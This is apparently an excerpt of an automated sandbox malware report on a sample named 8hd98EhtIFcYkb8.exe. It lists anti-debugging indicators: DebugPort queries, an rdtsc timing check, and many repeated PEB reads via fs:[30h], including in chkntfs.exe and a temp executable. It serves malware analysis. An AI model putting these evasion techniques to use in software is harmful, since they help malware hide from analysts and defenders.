Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Code function: 3_2_012E096E rdtsc

3_2_012E096E

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Code function: 3_2_00417A13 LdrLoadDll,

3_2_00417A13

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D0124 mov eax, dword ptr fs:[00000030h]	3_2_012D0124
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01360115 mov eax, dword ptr fs:[00000030h]	3_2_01360115
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134A118 mov ecx, dword ptr fs:[00000030h]	3_2_0134A118
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134A118 mov eax, dword ptr fs:[00000030h]	3_2_0134A118
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134A118 mov eax, dword ptr fs:[00000030h]	3_2_0134A118
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134A118 mov eax, dword ptr fs:[00000030h]	3_2_0134A118
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov ecx, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov ecx, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov ecx, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov eax, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E10E mov ecx, dword ptr fs:[00000030h]	3_2_0134E10E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374164 mov eax, dword ptr fs:[00000030h]	3_2_01374164
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374164 mov eax, dword ptr fs:[00000030h]	3_2_01374164
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01338158 mov eax, dword ptr fs:[00000030h]	3_2_01338158
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01334144 mov eax, dword ptr fs:[00000030h]	3_2_01334144
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01334144 mov eax, dword ptr fs:[00000030h]	3_2_01334144
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01334144 mov ecx, dword ptr fs:[00000030h]	3_2_01334144
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01334144 mov eax, dword ptr fs:[00000030h]	3_2_01334144
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01334144 mov eax, dword ptr fs:[00000030h]	3_2_01334144
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6154 mov eax, dword ptr fs:[00000030h]	3_2_012A6154
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6154 mov eax, dword ptr fs:[00000030h]	3_2_012A6154
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129C156 mov eax, dword ptr fs:[00000030h]	3_2_0129C156
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E0185 mov eax, dword ptr fs:[00000030h]	3_2_012E0185
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132019F mov eax, dword ptr fs:[00000030h]	3_2_0132019F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132019F mov eax, dword ptr fs:[00000030h]	3_2_0132019F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132019F mov eax, dword ptr fs:[00000030h]	3_2_0132019F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132019F mov eax, dword ptr fs:[00000030h]	3_2_0132019F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01344180 mov eax, dword ptr fs:[00000030h]	3_2_01344180
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01344180 mov eax, dword ptr fs:[00000030h]	3_2_01344180
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135C188 mov eax, dword ptr fs:[00000030h]	3_2_0135C188
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135C188 mov eax, dword ptr fs:[00000030h]	3_2_0135C188
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A197 mov eax, dword ptr fs:[00000030h]	3_2_0129A197
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A197 mov eax, dword ptr fs:[00000030h]	3_2_0129A197
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A197 mov eax, dword ptr fs:[00000030h]	3_2_0129A197
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013761E5 mov eax, dword ptr fs:[00000030h]	3_2_013761E5
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D01F8 mov eax, dword ptr fs:[00000030h]	3_2_012D01F8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0131E1D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0131E1D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E1D0 mov ecx, dword ptr fs:[00000030h]	3_2_0131E1D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0131E1D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131E1D0 mov eax, dword ptr fs:[00000030h]	3_2_0131E1D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013661C3 mov eax, dword ptr fs:[00000030h]	3_2_013661C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013661C3 mov eax, dword ptr fs:[00000030h]	3_2_013661C3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336030 mov eax, dword ptr fs:[00000030h]	3_2_01336030
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A020 mov eax, dword ptr fs:[00000030h]	3_2_0129A020
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129C020 mov eax, dword ptr fs:[00000030h]	3_2_0129C020
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01324000 mov ecx, dword ptr fs:[00000030h]	3_2_01324000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01342000 mov eax, dword ptr fs:[00000030h]	3_2_01342000
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE016 mov eax, dword ptr fs:[00000030h]	3_2_012BE016
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE016 mov eax, dword ptr fs:[00000030h]	3_2_012BE016
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE016 mov eax, dword ptr fs:[00000030h]	3_2_012BE016
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE016 mov eax, dword ptr fs:[00000030h]	3_2_012BE016
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CC073 mov eax, dword ptr fs:[00000030h]	3_2_012CC073
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01326050 mov eax, dword ptr fs:[00000030h]	3_2_01326050
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A2050 mov eax, dword ptr fs:[00000030h]	3_2_012A2050
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012980A0 mov eax, dword ptr fs:[00000030h]	3_2_012980A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013660B8 mov eax, dword ptr fs:[00000030h]	3_2_013660B8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013660B8 mov ecx, dword ptr fs:[00000030h]	3_2_013660B8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013380A8 mov eax, dword ptr fs:[00000030h]	3_2_013380A8
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A208A mov eax, dword ptr fs:[00000030h]	3_2_012A208A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A80E9 mov eax, dword ptr fs:[00000030h]	3_2_012A80E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A0E3 mov ecx, dword ptr fs:[00000030h]	3_2_0129A0E3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013260E0 mov eax, dword ptr fs:[00000030h]	3_2_013260E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129C0F0 mov eax, dword ptr fs:[00000030h]	3_2_0129C0F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012E20F0 mov ecx, dword ptr fs:[00000030h]	3_2_012E20F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013220DE mov eax, dword ptr fs:[00000030h]	3_2_013220DE
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01378324 mov eax, dword ptr fs:[00000030h]	3_2_01378324
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01378324 mov ecx, dword ptr fs:[00000030h]	3_2_01378324
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01378324 mov eax, dword ptr fs:[00000030h]	3_2_01378324
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01378324 mov eax, dword ptr fs:[00000030h]	3_2_01378324
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA30B mov eax, dword ptr fs:[00000030h]	3_2_012DA30B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA30B mov eax, dword ptr fs:[00000030h]	3_2_012DA30B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA30B mov eax, dword ptr fs:[00000030h]	3_2_012DA30B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129C310 mov ecx, dword ptr fs:[00000030h]	3_2_0129C310
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C0310 mov ecx, dword ptr fs:[00000030h]	3_2_012C0310
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134437C mov eax, dword ptr fs:[00000030h]	3_2_0134437C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136A352 mov eax, dword ptr fs:[00000030h]	3_2_0136A352
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01348350 mov ecx, dword ptr fs:[00000030h]	3_2_01348350
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov eax, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov eax, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov eax, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov ecx, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov eax, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132035C mov eax, dword ptr fs:[00000030h]	3_2_0132035C
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0137634F mov eax, dword ptr fs:[00000030h]	3_2_0137634F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01322349 mov eax, dword ptr fs:[00000030h]	3_2_01322349
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E388 mov eax, dword ptr fs:[00000030h]	3_2_0129E388
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E388 mov eax, dword ptr fs:[00000030h]	3_2_0129E388
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129E388 mov eax, dword ptr fs:[00000030h]	3_2_0129E388
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C438F mov eax, dword ptr fs:[00000030h]	3_2_012C438F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C438F mov eax, dword ptr fs:[00000030h]	3_2_012C438F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298397 mov eax, dword ptr fs:[00000030h]	3_2_01298397
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298397 mov eax, dword ptr fs:[00000030h]	3_2_01298397
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298397 mov eax, dword ptr fs:[00000030h]	3_2_01298397
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B03E9 mov eax, dword ptr fs:[00000030h]	3_2_012B03E9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D63FF mov eax, dword ptr fs:[00000030h]	3_2_012D63FF
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE3F0 mov eax, dword ptr fs:[00000030h]	3_2_012BE3F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE3F0 mov eax, dword ptr fs:[00000030h]	3_2_012BE3F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012BE3F0 mov eax, dword ptr fs:[00000030h]	3_2_012BE3F0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013443D4 mov eax, dword ptr fs:[00000030h]	3_2_013443D4
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013443D4 mov eax, dword ptr fs:[00000030h]	3_2_013443D4
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA3C0 mov eax, dword ptr fs:[00000030h]	3_2_012AA3C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A83C0 mov eax, dword ptr fs:[00000030h]	3_2_012A83C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A83C0 mov eax, dword ptr fs:[00000030h]	3_2_012A83C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A83C0 mov eax, dword ptr fs:[00000030h]	3_2_012A83C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A83C0 mov eax, dword ptr fs:[00000030h]	3_2_012A83C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E3DB mov eax, dword ptr fs:[00000030h]	3_2_0134E3DB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E3DB mov eax, dword ptr fs:[00000030h]	3_2_0134E3DB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E3DB mov ecx, dword ptr fs:[00000030h]	3_2_0134E3DB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134E3DB mov eax, dword ptr fs:[00000030h]	3_2_0134E3DB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013263C0 mov eax, dword ptr fs:[00000030h]	3_2_013263C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135C3CD mov eax, dword ptr fs:[00000030h]	3_2_0135C3CD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129823B mov eax, dword ptr fs:[00000030h]	3_2_0129823B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01350274 mov eax, dword ptr fs:[00000030h]	3_2_01350274
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129826B mov eax, dword ptr fs:[00000030h]	3_2_0129826B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4260 mov eax, dword ptr fs:[00000030h]	3_2_012A4260
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4260 mov eax, dword ptr fs:[00000030h]	3_2_012A4260
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4260 mov eax, dword ptr fs:[00000030h]	3_2_012A4260
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135A250 mov eax, dword ptr fs:[00000030h]	3_2_0135A250
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0135A250 mov eax, dword ptr fs:[00000030h]	3_2_0135A250
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0137625D mov eax, dword ptr fs:[00000030h]	3_2_0137625D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01328243 mov eax, dword ptr fs:[00000030h]	3_2_01328243
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01328243 mov ecx, dword ptr fs:[00000030h]	3_2_01328243
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6259 mov eax, dword ptr fs:[00000030h]	3_2_012A6259
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129A250 mov eax, dword ptr fs:[00000030h]	3_2_0129A250
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B02A0 mov eax, dword ptr fs:[00000030h]	3_2_012B02A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B02A0 mov eax, dword ptr fs:[00000030h]	3_2_012B02A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov eax, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov ecx, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov eax, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov eax, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov eax, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013362A0 mov eax, dword ptr fs:[00000030h]	3_2_013362A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE284 mov eax, dword ptr fs:[00000030h]	3_2_012DE284
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DE284 mov eax, dword ptr fs:[00000030h]	3_2_012DE284
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01320283 mov eax, dword ptr fs:[00000030h]	3_2_01320283
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01320283 mov eax, dword ptr fs:[00000030h]	3_2_01320283
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01320283 mov eax, dword ptr fs:[00000030h]	3_2_01320283
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B02E1 mov eax, dword ptr fs:[00000030h]	3_2_012B02E1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B02E1 mov eax, dword ptr fs:[00000030h]	3_2_012B02E1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B02E1 mov eax, dword ptr fs:[00000030h]	3_2_012B02E1
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013762D6 mov eax, dword ptr fs:[00000030h]	3_2_013762D6
